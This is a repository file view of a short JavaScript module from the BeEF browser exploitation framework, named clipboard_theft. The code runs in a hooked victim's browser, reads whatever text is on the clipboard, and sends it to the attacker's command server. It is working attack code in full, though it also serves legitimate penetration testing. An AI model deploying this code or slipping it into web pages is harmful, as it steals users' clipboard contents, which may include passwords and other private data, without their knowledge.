Files
beef/modules/misc/clipboard_theft/command.js
bcoles@gmail.com ec9fc14414 Added modules/misc/clipboard_theft/
git-svn-id: https://beef.googlecode.com/svn/trunk@1000 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-06-19 20:40:36 +00:00

8 lines
320 B
JavaScript

beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
}
});